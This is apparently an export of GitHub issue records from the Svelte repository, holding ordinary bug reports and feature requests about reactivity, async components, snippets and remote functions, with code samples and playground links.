### System Info

```shell
all
```

### Severity

blocking an upgrade",,2025-09-07T12:23:32Z,2025-09-07T14:53:48Z,5
sveltejs/svelte,3390983174,Array splice leads to infinite loop in each block,"### Describe the bug

[This REPL](https://svelte.dev/playground/d998c7ccb83e4e58a24f9286cc334d81?version=5.38.7) comes from a help thread on discord.
Somehow the second `cards.splice()` (line 26) leads to an infinite loop in the `{#each}` block.

I could track it down to this while loop:
https://github.com/sveltejs/svelte/blob/d92fa432d1032f4e1746af654eb5a7b7f536fbe9/packages/svelte/src/internal/client/dom/blocks/each.js#L708-L712

I was [not able to create a minimal reproduction](https://svelte.dev/playground/6892f5263feb4f948c5a58a0d32ad1e1?version=5.38.7) of this issue.
Edit: It could mean the used libraray (`@dnd-kit/dom/sortable`) is messing with the dom, right?

### Reproduction

https://svelte.dev/playground/d998c7ccb83e4e58a24f9286cc334d81?version=5.38.7
Move a card

### Logs

```shell

```

### System Info

```shell
Svelte: 5.38.7
```

### Severity

annoyance",,2025-09-07T00:00:56Z,2025-09-07T00:14:51Z,1
sveltejs/svelte,3390739085,`compilerOptions` ignored in `svelte.config.ts`,"### Describe the bug

I tried using `svelte.config.ts`, since SvelteKit now supports it, but my `compilerOptions` are completely ignored.



### Reproduction

The compilerOptions work in `svelte.config.js`, but not in `svelte.config.ts`:

```js
import adapter from '@sveltejs/adapter-node';
import { vitePreprocess } from '@sveltejs/vite-plugin-svelte';

const config = {
	preprocess: vitePreprocess(),
	kit: {
		adapter: adapter(),
		experimental: {
			remoteFunctions: true
		}
	},
	compilerOptions: {
		experimental: {
			async: true
		}
	}
};
```

### Logs

```shell

```

### System Info

```shell
@sveltejs/kit: ^2.37.1
svelte: ^5.38.7
@sveltejs/vite-plugin-svelte: ^6.1.4
```

### Severity

annoyance",,2025-09-06T19:03:45Z,2025-09-06T19:31:02Z,1
sveltejs/svelte,3388280640,Can't redirect from `query` remote function,"### Describe the bug

When executing a `query` remote function with a `redirect` inside, on the top level of a layout or page file, the remote function fails to run.

### Reproduction

https://github.com/TGlide/remote-function-query-redirect-repro

- pnpm install
- pnpm run dev
- go to http://localhost:5173/private
- error in console! (browser and server)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.16 CachyOS Linux
    CPU: (32) x64 AMD Ryzen 9 7950X3D 16-Core Processor
    Memory: 36.16 GB / 61.95 GB
    Container: Yes
    Shell: 4.0.2 - /bin/fish
  Binaries:
    Node: 22.18.0 - ~/.volta/tools/image/node/22.18.0/bin/node
    npm: 10.9.3 - ~/.volta/tools/image/node/22.18.0/bin/npm
    pnpm: 10.14.0 - ~/.volta/bin/pnpm
  npmPackages:
    svelte: ^5.0.0 => 5.38.7
```

### Severity

blocking an upgrade",,2025-09-05T17:22:55Z,2025-09-05T17:42:44Z,1
sveltejs/svelte,3382072126,"Component flag to ""compile away"" a component","### Describe the problem


When I create a component that only renders HTML and maybe a dash of classnames, and renders children it will also add some JS. Based on the REPL the amount of JS _is more than the code I would optimally anticipate_. 

While negligible for few components, if shipping an entire UI library it could accumulate.

A portion of the motivation is for shipping a component library as an API while ""hiding away"" the details of the CSS. Allow users to use `CustomComponent` which can have typescript intellisense, instead of having to know your classnames.

_I performed a search and browsed for similar topics, but please excuse and redirect me if this is already discussed / under discussion / resolved_

## Example

imagine a `Title.svelte` in which the component _could_ only consist of... (omitting script tag contents):
```
<div class=""card-title"">{@render children()}</div>
```

[Check out this repl showing a setup like this](https://svelte.dev/playground/7fd743e4a32847c89ef38e0af09cfaf3?version=5.38.6)

If you check the output—ignoring the optimizations of gzipping and such—there is 14 lines of JS for the module itself, as well as some amount of JS generated to call the component.



### Describe the proposed solution

It would be useful to have a <svelte:options> flag to indicate that a component should be ""compiled-away"" or ""inlined"" during the build process.

- This compiler option could put strict constraints on the component, like no runes or snippets and l... [TRUNCATED]",,2025-09-04T04:16:57Z,2025-09-04T05:06:32Z,1
sveltejs/svelte,3380592736,Snippets have incorrect scope when component variables are used as components,"### Describe the bug

Snippets don't have the correct scope for when variables are used as components

```svelte
<script lang=""ts"">
  import { motion } from ""./motion.svelte"";
  const layout = motion;
</script>

<!-- THIS WORKS -->
<!-- <layout.ul>Hello World</layout.ul> -->

<!-- THIS DOESN'T WORK -->
{@render test()}

{#snippet test()}
  <layout.ul>Hello World</layout.ul>
{/snippet}
```

### Reproduction

[PLAYGROUND](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAAE41UWWvbQBD-K9NtoTbI8rtiuS1tICHNQW3IQxTKVh47otKs2B0nMWL_e9nDh5yDvon5jv1mRrudINmgyMQ5lUprLBkMVW2LDKZULYpELKsajcjuOsGb1lFdQSRb4be2Tc0j1uxqf6TB1-qlIkZiIzIxMaWuWoZa0iovBJtCTAsCqJpWaYYOGsWVIrCw1KqBQqTjUIluhThx9FKRcSYbtWbIo-ikoMk4-E8LKmjyYTSC-dn5DG6vf13MYDSaxuIkKNN1PT3DulZwq3S9mIz35UA-9PhxfTq7-jz3XgHtvmqkBWpgNDwYWsfvPm4HuCvCfxxXUDeOQluQSATjM4uM9Rpt8sboe3PpT_8Yen8B0KjFusbDPVyGLby7g0h12aCD76ppFSHxfnXvsGceOptf_jytsXHRjmVjjIDXOwcvDcGuZIOzVpYIOXQOA7i7gIrgL27U8hX3-2wf0Mex0XS5ptK3WmqUjMF-MNy6auS1JiB8ghutnjeDzoI0xymSLR1ghTz4zVKvkBNotWqHe2xnN5BUPiidgaRNYBn_PYR8ekiHeFDkJ30MQJrMq10kw7qiVdInrJCD_WB4rN2F8fhJH7Q9Hzs8gO3ue0uKsA0DxWe_53BB42XOj6b74qK-9SgQo166NQfljYu6bcQ1_9a6Y8b9ZA8T1ujeGWkgh0IsqsdCxB2AzXoH5fApDu9lYH9kFv9R4IfK5J00Fro0Tb3I-g52T4SvpeVDVS800pfUvwyTcd9nenz17xPBsqqfKlqIbClrg_YfceSjiLMFAAA=)


### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M2 Max
    Memory: 101.75 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 23.11.0 - /opt/homebrew/bin/node
    Yarn: 1.22.... [TRUNCATED]",,2025-09-03T17:05:17Z,2025-09-11T00:20:06Z,0
sveltejs/svelte,3379878746,Reactivity not updating with SvelteMap,"### Describe the bug

I was trying to update a SvelteMap, and even though the change went through in the map itself, it never updated the state anywhere. Please review the reproduction.

It appears that getting an object from the map, editing it, and reinserting the same object into the map doesn't cause it to update the state. Replacing the last line in the setTimeout with `items.set('test', { value: ""def"" })` *does* update the state.

This strikes me as weird, as in the documentation it says the values inside of the SvelteMap is not made to be reactive, which would make me assume that there's nothing special or different about any object returned out of a SvelteMap.

It's worth noting that I am running SvelteKit's dev server using `bun`, not `node`, and `@sveltejs/adapter-static` (however this was all tested/ran using the dev server).

### Reproduction

```ts
// map.svelte.ts
import { SvelteMap } from 'svelte/reactivity';

export const items: SvelteMap<string, { value: string }> = new SvelteMap();
items.set('test', { value: 'abc' });

setTimeout(() => {
	const item = items.get('test');
	if (!item) return false;

	item.value = 'def';

	items.set('test', item); // here
}, 1000);
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (11) arm64 Apple M3 Pro
    Memory: 1.44 GB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
... [TRUNCATED]",,2025-09-03T13:29:08Z,2025-09-03T14:25:31Z,1
sveltejs/svelte,3378203317,`null` and `undefined` events are handled differently,"### Describe the bug

> All other attributes are included unless their value is [nullish](https://developer.mozilla.org/en-US/docs/Glossary/Nullish) (`null` or `undefined`).

https://svelte.dev/docs/svelte/basic-markup#Element-attributes

> Because events are just attributes, the same rules as for attributes apply:

https://svelte.dev/docs/svelte/basic-markup#Events

However, `ondblclick={null}` is treated differently in the JS output:

```svelte
<button name={undefined} value={null} onclick={undefined} ondblclick={null}></button>
```

```js
$.set_attribute(button, 'name', undefined);
$.set_value(button, null);
button.__click = undefined;

button.__dblclick = function (...$$args) {
  (null)?.apply(this, $$args);
};
```

Shouldn't this be `button.__dblclick = null;` instead?

### Reproduction

https://svelte.dev/playground/d6dd8c1f6355475fbe357d501b60137a?version=5.38.6

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-09-03T03:56:01Z,2025-09-04T05:14:32Z,3
sveltejs/svelte,3378095192,The bind:open feature does not work under dialog,"### Describe the bug

Object literal may only specify known properties, and '""bind:open""' does not exist in type 'HTMLProps<""dialog"", HTMLAttributes<any>>'.ts(2353)
`bind:open` can only be used with <details>
https://svelte.dev/e/bind_invalid_targetsvelte(bind_invalid_target)

### Reproduction

`<dialog bind:open={open} ..>..</dialog>`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.1 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (32) x64 Intel(R) Core(TM) i9-14900HX
    Memory: 17.41 GB / 31.12 GB
    Container: Yes
    Shell: 3.6.0 - /usr/bin/fish
  Binaries:
    Node: 22.16.0 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/node
    npm: 10.9.2 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/npm
    pnpm: 10.12.1 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.138
  npmPackages:
    svelte: ^5.38.6 => 5.38.6
```

### Severity

annoyance",,2025-09-03T02:44:38Z,2025-09-03T06:19:19Z,1
sveltejs/svelte,3372154141,Await uses the previous value when promise is updated,"### Describe the bug

Having a promise that is stored in a state rune and awaited in the template code seems to have a bug where it uses the previously resolved value of the promise to render the template. The issue appeared in our codebase in a place where we have a promise returning data that can have different shapes. When the promise variable is reassigned a new promise our application crashes due to the code trying to access a value which is no longer available due to the variable having a new promise as its state. 

I would have expected the re-assigning the variable containing the promise would instantly render the loading state such that the code inside the `{then}` block would not be hit until the new promise has resolved. The example is quite simplified in the REPL but it shows the general problem. 

So to reproduce: 
* Have a state rune with promise that can return different shapes of data
* await the promise in the template and access the resolved value
* Re-assign the state variable and see that the application crashes


### Reproduction

Click the button and see that the app crashes due to accessing a value which no longer exists since the promise has been updated to a new promise which should render the loading state instead of the data. 

Repro: https://svelte.dev/playground/0515270734184612838039274f00acde?version=5.38.6

### Logs

```shell
See the log in the REPL when clicking the button
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10)... [TRUNCATED]",,2025-09-01T10:31:00Z,2026-05-19T14:28:46Z,2
sveltejs/svelte,3369458110,`$effect`s created after the first top-level await never execute,"### Describe the bug

See https://github.com/sveltejs/svelte/issues/16682#issuecomment-3236010506
The issue here is that regular user effects (ones made specifically with `$effect`, not `$effect.pre` or render effects) are deferred until the component is mounted. However, since the code that indicates the component as being mounted, `$.pop`, runs synchronously (even in async components), the effects are never added to the array of deferred effects for their component (and might(?) be added to the parent component if it exists) if they're created after the first top-level await. 

### Reproduction

[Playground](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACm3MwQrCMBCE4VcJg4cUgt5TFUQUH8Cb8RDbrQTWpDTbVim-uxT05vXjn5kQ_YNgcSLmpMbUca001UGoLmDQBKYMe5kgr3buZoD5rXZtu8wDscx285n-eZWiUJQMi3WuutDK1kUnfvRBlMPguSeH0sVZF9Q0VInWhdpsVZViTkxLTnftcDgeD_uzQ1GULq5X3y8YCD0FVrqe3lcD8YHHEGvYxnOm9weEAYNF5AAAAA==) 

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-08-30T20:07:00Z,2025-09-11T14:58:57Z,2
sveltejs/svelte,3366638343,Checkbox's onclick does not update own state,"### Describe the bug

I want to derive the value of a checkbox from a state.

When an `onclick` handler (with preventDefault) changes its own `checked` state, it does not seem to be applied.

This seems like a bug.
If it is intended behavior, can anyone point out a reason or explanation?

The reason why I need the `preventDefault()` in my production use case is that I would like to only set the `checked` state if other conditions are met, not just as a direct consequence of the click.

~~~svelte
<script>
	let on = $state(true);
	const toggle = () => {
		on = !on;
	}
</script>

<h1>Switches! on={on}</h1>

<label>
	<input
		checked={on}
		type=checkbox
		onclick={(evt) => {
			evt.preventDefault();
			toggle();
		}}
	>
	on
</label>
<br>
<button onclick={() => toggle()}>
	{on ? ""on"" : ""off""}
</button>

~~~

### Reproduction

Steps to reproduce the issue in the REPL:

1. click on the checkbox
2. observe that it changes the state in the header and button
3. observe that it does not check the checkbox (whose value is derived from the same state)

<https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACm1QPU_DMBD9K-6JIZVQI9aQBCExsDNiBie5tFaNHcWXtijKf-d8oZSBJXLe3fu6Gbz5RCjgFZ0L6hxG16kMO0vYbeEeeuswQvE-A30NaS8BjP-wnodhF0_oKGGNifgf3gZP6IlloIztaAeqtdfkkFTwqlJ3kQxhRuOE28c0YUIkRWG_d8jzbKuqWs1pokkYm-BlcdG-zG-Svjw81G9nS-0B44bFqzn4pcwZlakzDTrxLq0fJloVebk9Yie7K5KqVgI34XK1bZ1tj9Wc4Yn-5tHEwG4Y8cQVX7A3k6NsrSFSUuIXWMRBIoSUKL9GKptRvhOlhjc3sbqKLELknOpJaWABUEV69L0GOcVKr_nmhBeCIp10-eA_Y... [TRUNCATED]",,2025-08-29T12:04:18Z,2025-08-29T18:14:48Z,4
sveltejs/svelte,3364736523,`push` array is not proxied when array is optional,"### Describe the bug

Hi, I found an issue that might be expected behavior but it's odd as you can make it work by mutating unrelated state

When using the rune $state inside a class to expose a prop, `myClass.prop` it behaves as expected, it also behaves correctly when nesting it inside a sub property that is itself another class `myClass.childClass.prop` 
But when that childClass is optional, that is `myClass.childClass?.prop` things get weird, primitives like string, boolean, numbers work fine, they are reactive all the way back to the ui, but when using an array method like `push` it is not reactive.

The odd thing about all of this is that if you have two or more `$states`s inside the class chain and modify any of them, the changes of the `push` do get propagated.

I created this simple repro in the svelte playground, it uses two classes, 
TestClass and OptionalChild, the OptionalChild get initiated after one second using set Interval (but this works by any delayed initialization)  

Inside we modify the array every second but it does not update in the UI, if you uncomment any of the lines that modify other props it will suddenly also update the array state in the UI

### Reproduction

https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACn2STW_bMAyG_wohDLCNBU5yzUeHoaedeulOTQ-aQ89aZcmQmKRF4P8-Ss6HhaQ92IJIviRFPkdhZItiIbqdb4DQk5iIWmn0YvFyFPTRBWcwsP0U-rPrSr9HTcH2R3q8Z6-sITTEacTKV0519LAxG1JtZx3BEZ651KOW3kMPtbMtZOU0lD9lKP_5bBkEnMdTbAzWYPBwFeYF-zkifB7pF9dze6nzv... [TRUNCATED]",,2025-08-28T21:31:00Z,2025-08-29T07:41:58Z,8
sveltejs/svelte,3361961609,Top level await breaks stores as of 5.38.3,"### Describe the bug

Using a top level await causes any stores created in the same script to be undefined when accessed in the template. This seems to have been introduced with v5.38.3.

`await` inside of the template works fine. The order of code in the script does not matter (i.e. `await`ing before or after creating the store doesn't matter).

### Reproduction

REPL: https://svelte.dev/playground/72abfb8ea2a7418ab7454ef9fee42569?version=5.38.6

Run the following component, and observe the error.

```svelte
<script>
	import { writable } from 'svelte/store';

	await Promise.resolve();
	const count = writable(0);
</script>

{$count}

```

### Logs

Log taken from loading the above REPL

```shell

Uncaught (in promise) ReferenceError: count is not defined

  in <unknown>
  in App.svelte
  in __wrapper.svelte
    $count playground:output:4903
    App playground:output:4918
    template_effect playground:output:3262
    update_reaction playground:output:3756
    update_effect playground:output:3936
    create_effect playground:output:3140
    template_effect playground:output:3262
    flatten playground:output:1533
    template_effect playground:output:3261
    App playground:output:4918
    async_body playground:output:1622
    App playground:output:4907
    __wrapper playground:output:4944
    add_svelte_meta playground:output:602
    __wrapper playground:output:4944
    <anonymous> playground:output:1011
    update_reaction playground:output:3756
    update_effect playground:... [TRUNCATED]",,2025-08-28T06:20:49Z,2025-08-30T19:52:09Z,14
sveltejs/svelte,3361010494,TypeError: Cannot read properties of null (reading 'deactivate'),"### Describe the bug

After a boundary has caught an error in $derived await, if a reset() is performed, the following error is thrown:

```
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'deactivate')
    at unsuspend (playground:output:2265:11)
    at async_body (playground:output:1673:4)
```

https://github.com/sveltejs/svelte/blob/942eaf027bc08625ed501473861a8dc618b1929e/packages/svelte/src/internal/client/reactivity/batch.js#L685

### Reproduction

https://svelte.dev/playground/dcd78c4674c24e82b6cb78423c248fbf?version=5.38.5

### System Info

```shell
Svelte 5.38.5
```

### Severity

annoyance",,2025-08-27T22:20:05Z,2025-09-04T02:06:18Z,0
sveltejs/svelte,3360541416,Inconsistent Whitespace Trimming,"### Describe the bug

Whitespace sometimes gets trimmed within `if` blocks.

With this code:
```svelte
{#if name}- {#if txt}({txt}) {/if}{name}{/if}
```
I used to get
```
- (25) Title Text
```
Now I get
```
- (25)Title Text
```

The first `if` prints the whitespace, but the second inner `if` does not.

### Reproduction

[Repl: Inconsistent Whitespace Trimming](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAAA31RQW7CMBD8ympBAqSUUI5pQlVVHLhwoVIPdSUMcVpLsWPFG0pl-e-VS1IKLdx2ZjXj2bFDzZXABBd6W2krLQlN8PwuSVjDtwKeaqmU1G8YYSFLYTF5cUifJmgCgVHn8GDM2O5ESYHbcCv-47eVDi9YTDC121oamjHNSCpT1QRzs9BFBUVdKRiM4wNsxQOm0_go0Wkud7O0VQiz5EpkDOcGercMA9GojOFhXgluK93CeJbGQXvNYvrL4md-rNRGapEHbnLNFyMksSdMqG6Ejy70dXLdaWXnqwutlYLAMQ0AbXrIoNG5KELK6GfRqEt8d9HZnhGj7rg_Ug8Z9E1dGTsc3Z39iVv3XSf0-zAvG3U_NjxfEa9pOI1gMBmM_Noz7XqyaGP7G-jQMZMfulM8AhfLwrtW8w3Ou36NkLgsP6TOMSl4aYX_AjdM9zXiAgAA)

### Logs

```shell

```

### System Info

```shell
Doesn't matter, whitespace being trimmed by compiler.
```

### Severity

annoyance",,2025-08-27T19:01:44Z,2025-08-27T19:09:14Z,2
sveltejs/svelte,3358632496,Passing props with {@render} to a dynamically loaded component do not work,"### Describe the bug

Hello, it seems that passing props to a dynamically loaded component using `{@render}` does nit work

The case:

`Test.svelte`

```svelte
<script>
	let { id } = $props();
</script>

<h1>TEST: {id}</h1>
```

`Renderer.svelte`

```svelte
<script>
	let { component } = $props();
</script>

{@render component({id: 123})}
```


`App.svelte`

```svelte
<script>
  import Test from './Test.svelte';	
	import Renderer from './Renderer.svelte';
</script>

RENDER (this should return TEST: 123)
<Renderer component={Test} />
```

Since I am passing `{id: 123}` to the `Test` component inside `Renderer` class, I'd expect it to show `TEST: 123` but I only get `TEST: `

### Reproduction

I have created a [REPL here](https://svelte.dev/playground/hello-world?version=5.38.5#H4sIAAAAAAAAA42QT0vDQBDFv8qwCG0hNNR_h5gWBXsVqb25HtbsxCwks8vuVC0h311S29TUWjzOmzeP37xakKpQJOJRhWDoDZzyqgrAFvSaVGUyKK3SqCGzlbOExEFEIjclBpE814LXrj1vBRHtwu6cG4d3LLnVXlXAY3pmiTdxiUhD5o3jmSQAUznrGZYYGHJvKxiM43bYHg5uJEuSvLUtkDR69J11J-ztlMZdvKTF_OF-voAhFyZAKOyq1OCRV55gOX9aJnB5dT2SlHbB3d_TusVoIN7kSBKRYPxkkbBfYRP9UcUP9H4X_cXRMiSXyFCD0dDAFM6cty4MR4cvpcVk9s1eG92kcTGZ_Y_toKs-3-_lScauppOo9a3fxO7tw9roBCbnF82o6VO_RIKVKT8MaZHkqgzYfAE3w5MergIAAA==)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Ubuntu 25.04 25.04 (Plucky Puffin)
    CPU: (24) x64 AMD Ryzen 9 7900X 12-Core Processor
    Memory: 39.76 GB / 62.01 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.13.1 -... [TRUNCATED]",,2025-08-27T09:08:58Z,2025-08-27T09:23:58Z,2
sveltejs/svelte,3353138140,inspect.trac output wrong message when you use nesty effect,"### Describe the bug

```Svelte
<script>
  let count = $state(0);
	let useless= $state(0)
  let max = $derived(count >= 4);

  $effect(() => {
		$inspect.trace('Outer Effect');
		count; 
    useless;
    $effect(() => {
			$inspect.trace('Inner Effect');
			max ; 
    });
  });
</script>

<button onclick={()=>{count++;}}>Count: {count}</button>
<button onclick={()=>{useless++;}}>useless: {useless}</button>
```
https://svelte.dev/playground/9a47c3c8356a4b6faa78451e495dd72d?version=5.38.3

You can see output in the console ,  inspect.trac in Inner effect work bad. 

<img width=""566"" height=""1080"" alt=""Image"" src=""https://github.com/user-attachments/assets/2b3692e0-2b47-490b-ac90-daf9623ec7ec"" />

Inner effect rerun brcause we change `count`  tracked by outter effect,  but in console , you can see the derived in inner effect became `blue` 



### Reproduction

https://svelte.dev/playground/9a47c3c8356a4b6faa78451e495dd72d?version=5.38.3

### Logs

```shell

```

### System Info

```shell
svelte playground with latest version
```

### Severity

annoyance",,2025-08-25T20:34:36Z,2025-08-25T20:42:58Z,1
sveltejs/svelte,3350815797,BUG: Variable not defined when awaited and rendered inside a snippet,"### Describe the bug

I’m using the experimental `async` flag.

When rendering an awaited variable inside a snippet — without explicitly declaring it in the snippet parameters — the console throws the following error:

```
Uncaught (in promise) ReferenceError: value is not defined
```

I’m currently on **v5.38.3**. This was working correctly in **v5.38.2**.


### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-ry9pp9kr?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: 5.38.3 => 5.38.3
```

### Severity

blocking an upgrade",,2025-08-25T07:47:29Z,2025-08-25T10:21:39Z,0
sveltejs/svelte,3349561846,Remote form().for() shares instance cache between forms during SSR,"### Describe the bug

Remote `form()` functions return the same instance from their `for()` methods when not client-side rendering. All forms using the same key will initially use the form action for the first form to use the key.

The expected behavior is that each form function has its own instance cache (so for example, an `updatePost` and `deletePost` form could each refer to the same `post.id`). This is how `for()` seems to behave during CSR, but *not* during SSR, which affects environments where CSR or JavaScript are disabled.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-qfi3gy8i

Inspecting the second form element reveals that it has the same `action` as the first form. Changing the value of `csr` in `+page.js` and refreshing corrects this.

### Logs

```shell

```

### System Info

```shell
From repro terminal:


  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    svelte: ^5.25.0 => 5.38.3
```

### Severity

annoyance",,2025-08-24T14:15:19Z,2025-08-24T15:00:15Z,1
sveltejs/svelte,3349349199,Allow attachments to return non-void,"### Describe the problem

maybe this should be a discussion. if so, feel free to convert.

this Svelte attachment picks black or white text color to maximize contrast with `node`'s background color:


```ts
export function contrast_color(
  text_color_threshold: number = 0.7,
  choices: [string, string] = [`black`, `white`], // one dark and one light color (in that order)
) {
  return (node: HTMLElement | null) => {
    const light_bg = luminance(get_bg_color(node)) > text_color_threshold
    const text_color = light_bg ? choices[0] : choices[1] // white text for dark backgrounds, black for light
    if (node) node.style.color = text_color
    return text_color
  }
}
```

in some cases, i'd like to call it outside a Svelte component and have it return the text color it would apply to the `node`:

```ts
const text_color = contrast_color(0.6)(null)
```

unfortunately, returning the color string from the attachment raises a type error when applied to a Svelte component:

> Type `string` is not assignable to type `void | (() => void)`

<img width=""2312"" height=""588"" alt=""Image"" src=""https://github.com/user-attachments/assets/37520571-7610-4cd3-9ea5-11a059f63f8c"" />

### Describe the proposed solution

maybe the allowed attachment return type could be broadened to enable this?

### Importance

nice to have",,2025-08-24T09:37:47Z,2025-08-25T08:31:24Z,2
sveltejs/svelte,3349008278,Unmount performance regression since 5.36.0,"### Describe the bug

I noticed a significant increase in unmout time (during component replacement) after switching to Svelte 5.36.0 (`experimental.async` disabled), from 55 ms to 8.5 seconds for the dev server and up to 3 seconds for the production build.

Perhaps this is related to https://github.com/sveltejs/svelte/issues/16618 but i don't use stores at all.

### Reproduction

1. Open [SJSF playground](https://x0k.dev/svelte-jsonschema-form/playground2/#N4IgzgxgFgpgtgQxALlAEkrRKRQC54AOyA9CQFZgD2AdgLSbwIB0VATgOYkAmbCAZnjoAGAOwlGiAMQgANCDQBLbjnxEwpEjAAeCOIQA2MZhCpwJ0JmBIJChxRAR5FtOqZr9FHZpVpyQznhGOACCdgYOTi40AAQAwrSeHACufM60MQDKltjy3DCQbIqE6TQ42VgIMfzsMbb2jqUx+YZUAJ5wMDR4dTTcMe5JqVEZiDQIHPBdeP54bYQwOFQARuQwEDPybDAAjsmK2yrIANognXgI3E5I8vURjdH+XQBuB7Sd3SAAurfc3IqlBAGAAKbCoCzYzgKKH4QLAMHkhDBEKhYBQoHOl2u6IC80WyBAKzWG382z2BxgR1O406-meMDYYEePxASPBDNROJp+NAcwWODAeCKNA4-kITjwDLKBIAescEHQAF5feVK4R0ACcdC+ACpVYr1Rqvmh-HBFDQADJdDh4KAoADM8kQ2itIttKAArMIAL7yemMx6oXH8gmC4WixESqU4GUAHVj3AA1PHmPGkym04mABR0fUhOgALUNX0TAEoAPwm30gfKFYqlHF8-HgIXmiNnBAu63u5AAJmEPvkFw4aKDTZwCDYfDa-gB8FHvLxAtbItN5tdNrtyAAjE7Oxue-bByBkjRFHsYABJSVwUdC5IIjvaa-zlDb4+Ic0Xc0MxtLglEusmwgGS+yHCg1J6Is8hMIoBjfIiyIcoo0JBtyf4hi24Zrpa3Zbr2e5dm6W5etWsHwWO-5YW2-g1GwiAzAS5EgNWkp6BhzZhjRME0MkcAQSA-Bgt0XQqPIywIBAADWon+PkzzgmiTorHBixfN6Gkabc4SRA2lGYYBJJbLsYGUgJ45bKezi0sZ1CpBA0IsmyKIoQuwY8u5y7YTxfECQA7jAywMAyrwOf4tiKP4fnsDJbBydcEnwv4jiWN81ZsFZii0vpzaGcBoEUlSIAGAgIrJBM0EgP6TJ+E5SGQq5OIlWVFUcV53EgF0vknCA5AIM8CB1iUYptLafjyH1A3+BwVCkskgp... [TRUNCATED]",perf,2025-08-24T01:33:27Z,2025-10-23T18:29:22Z,6
sveltejs/svelte,3348794056,Exported functions don't work on async components,"### Describe the bug

This component is broken:
```svelte
<script>
  export function get_name() {
    return 'world';
  }
  // Comment this out and it works
  await Promise.resolve();
</script>
```

because it defines `get_name` inside the `async function $$body`, but calls `$.pop` in the actual component function. This causes a ReferenceError.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.38.2#H4sIAAAAAAAAA3VRwWrDMAz9FWEGSaEk9yzdGLvsuPsyhpsom5ljB1tpOkL-fVJWFlrai43ekx56T5NyukNVqBe01sPog20gxcYQNhu1Va2xGFXxNin66aVPAMZPU099n8UDWhJsryNew2vvCB2xjCpjHUxPD5WryHS9DwTPnn_HPLTBd5Bk-T9ykkjuuZ0HLBLUzMEO7iJpwnTDTJmvmq5c1fbGNQV9mbibZGiGfOn487lAj9kn0odsnG5m3pPwSKqgMOC8veH3crVz11fYG97xuHhvB1eT8Q7WRWASvqKANAQHyXKRJQGa5clzSawTh2IO_ECgXQOG5HjfUXr0qLl85ThNxCxg9PZwEda53XeutLEjR6aKVtuI8y_ulGUvGQIAAA==)

### Logs

```shell
Uncaught ReferenceError: get_name is not defined

  in <unknown>
  in __wrapper.svelte
    get get_name playground:output:4786
    get playground:output:2591
    App playground:output:4809
```

### System Info

```shell
svelte 5.38.2
```

### Severity

blocking an upgrade",,2025-08-23T20:41:33Z,2025-11-25T21:42:44Z,4
sveltejs/svelte,3347163336,Cannot call `unmount` method with using Attachment and $state,"### Describe the bug

In Attachment, mount component programmatically like below.

```ts
const attachement: Attachement<HTMLElement> = (element) => {
	let componentInstance = $state<ReturnType<typeof mount>>();
	const target = document.createElement('div');
	componentInstance = mount(Component, { target }); // if use component instance with $state, cannnot call unmount.
	// const componentInstance = mount(Component, { target }); // This is works

	return () => {
		console.log('hidden attachement');
		if (componentInstance) {
			// This warning appears in console on calling this.
			//
			// [svelte] lifecycle_double_unmount
			// Tried to unmount a component that was not mounted
			// https://svelte.dev/e/lifecycle_double_unmount
			//
			void unmount(componentInstance);
		}
	}
}
```

Then use this like below

```svelte
<button onclick={() => visible = !visible}>Toggle `hello`</button>

{#if visible}
	<h1 {@attach attachement}>hello</h1>
{/if}
```

If visible changes to `false`, attachement teardown is called.
But `unmount(componentInstance` is not works.
And this warning is appear.

```
[svelte] lifecycle_double_unmount
Tried to unmount a component that was not mounted
https://svelte.dev/e/lifecycle_double_unmount
```


### Workaround

If use `componentInstance` without `$state`, it works.

```
// NG
let componentInstance = $state<ReturnType<typeof mount>>();
const target = document.createElement('div');
componentInstance = mount(Component, { target });

// OK
const target =... [TRUNCATED]",good first issue,2025-08-23T00:40:44Z,2025-09-17T23:30:46Z,8
sveltejs/svelte,3344985811,Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment'),"### Describe the bug

Actual code:

```
const session = $derived(await getCurrentSession());
const items = $derived(await getSessionItems(session.id));
const sessionHasItems = $derived(items.length > 0);
```

